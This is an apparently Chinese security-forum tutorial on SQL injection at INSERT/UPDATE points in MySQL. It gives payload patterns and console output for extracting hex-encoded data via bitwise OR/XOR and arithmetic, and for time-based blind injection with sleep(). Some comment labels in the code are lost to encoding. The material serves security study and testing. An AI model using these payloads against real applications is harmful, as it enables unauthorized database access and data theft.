Insert和Update型SQL注入的实践之旅

blackwolf / 2018-07-30 21:50:03 / 浏览数 6356 安全技术 WEB安全 顶(0) 踩(0)

1.有回显注入

int型注入点和字符型都采用按位或|和按位异或^获取数据。
如果拼接的值为0，可以采用按位或|运算显示查询到的数据,如果拼接的值不是0（以100为例），可以采用按位异或^运算显示运算后的数据,然后再异或一次可以恢复查询的

注意查询到的数据经过hex转换，如果值大于Mysql bigint
最大值9223372036854775807时，获取到的数据均为9223372036854775807，此时要用substr等分段获取数据。

```
#int■■■■
mysql> insert into ctf values (0 | (select hex(database())),'0','test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)

mysql> select * from ctf;
+----------+----------+-----------+------+
| userid   | username | signature | mood |
+----------+----------+-----------+------+
| 74657374 | 0        | test      | 0    |
+----------+----------+-----------+------+
1 row in set (0.00 sec)

mysql> select unhex(74657374);
+-----------------+
| unhex(74657374) |
+-----------------+
| test            |
+-----------------+
1 row in set (0.00 sec)

#int■■■■■
mysql> insert into ctf values (100 ^ (select hex(database())),'0','test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)

mysql> select * from ctf;
+----------+----------+-----------+------+
| userid   | username | signature | mood |
+----------+----------+-----------+------+
| 74657338 | 0        | test      | 0    |
+----------+----------+-----------+------+
1 row in set (0.00 sec)

mysql> select unhex(100^74657338);
+---------------------+
| unhex(100^74657338) |
+---------------------+
| test                |
+---------------------+
1 row in set (0.00 sec)


#■■■■■■
mysql> insert into ctf values (100 ,'0'| (select hex(database())) ,'test','0');
Query OK, 1 row affected (0.02 sec)

mysql> select * from ctf;
+--------+----------+-----------+------+
| userid | username | signature | mood |
+--------+----------+-----------+------+
|    100 | 74657374 | test      | 0    |
+--------+----------+-----------+------+
1 row in set (0.00 sec)

mysql> select unhex(74657374);
+-----------------+
| unhex(74657374) |
+-----------------+
| test            |
+-----------------+
1 row in set (0.00 sec)

#■■■■■■■
mysql> insert into ctf values (100 ,'100' ^ (select hex(database())) ,'test','0');
Query OK, 1 row affected (0.03 sec)

mysql> select * from ctf;
+--------+----------+-----------+------+
| userid | username | signature | mood |
+--------+----------+-----------+------+
|    100 | 74657338 | test      | 0    |
+--------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex('100'^74657338);
+-----------------------+
| unhex('100'^74657338) |
+-----------------------+
| test                  |
+-----------------------+
1 row in set (0.00 sec)
```

同理可以使用其他可进行逆运算的运算符(**`+,-,*,/`**)获取查询数据,由于逻辑运算后的结果只有1或者0，所以**`or,||,xor,&&,and`**直接不能用于数据回显的注入情况。

2.时间盲注

int型时间盲注点

可以使用 `and,&&,or,||,xor`拼接sql代码。如下可以看出and,&&前面的int值不能为0;or,||前面的int值不能为1;而xor对前面int的值没有要求，所以推荐使用xor

```
mysql> insert into ctf values (0 && sleep(2),'test','test','0');
Query OK, 1 row affected (0.03 sec)

mysql> insert into ctf values (1 && sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)

mysql> insert into ctf values (0 || sleep(2),'test','test','0');
Query OK, 1 row affected (2.03 sec)

mysql> insert into ctf values (1 || sleep(2),'test','test','0');
Query OK, 1 row affected (0.02 sec)

mysql> insert into ctf values (0 xor sleep(2),'test','test','0');
Query OK, 1 row affected (2.09 sec)

mysql> insert into ctf values (1 xor sleep(2),'test','test','0');
Query OK, 1 row affected (2.01 sec)
```

int型注入点，也可以使用四则运算：`+,-,*,/`。

```
mysql> insert into ctf values (0+sleep(2),'test','test','0');
Query OK, 1 row affected (2.04 sec)

mysql> insert into ctf values (0-sleep(2),'test','test','0');
Query OK, 1 row affected (2.05 sec)

mysql> insert into ctf values (0*sleep(2),'test','test','0');
Query OK, 1 row affected (2.03 sec)

mysql> insert into ctf values (0/sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
```

此外还能使用位运算`&,|`

```
mysql> insert into ctf values (0&sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
```

```
mysql> insert into ctf values (0|sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
```

字符型时间盲注点

可以使用：`or,||,xor,+,-,*,/,|,&`,字符型在进行逻辑运算时会当做0,不能使用**&&,and**。

```
mysql> insert into ctf values (0,'test' and sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)

mysql> insert into ctf values (0,'test' && sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)

mysql> insert into ctf values (0,'test' || sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)

mysql> insert into ctf values (0,'test'or sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)

mysql> insert into ctf values (0,'test'xor sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)

mysql> insert into ctf values (0,'test'| sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)

mysql> insert into ctf values (0,'test'& sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)

mysql> insert into ctf values (0,'test'+ sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.06 sec)

mysql> insert into ctf values (0,'test'- sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)

mysql> insert into ctf values (0,'test'* sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)

mysql> insert into ctf values (0,'test'/ sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)
```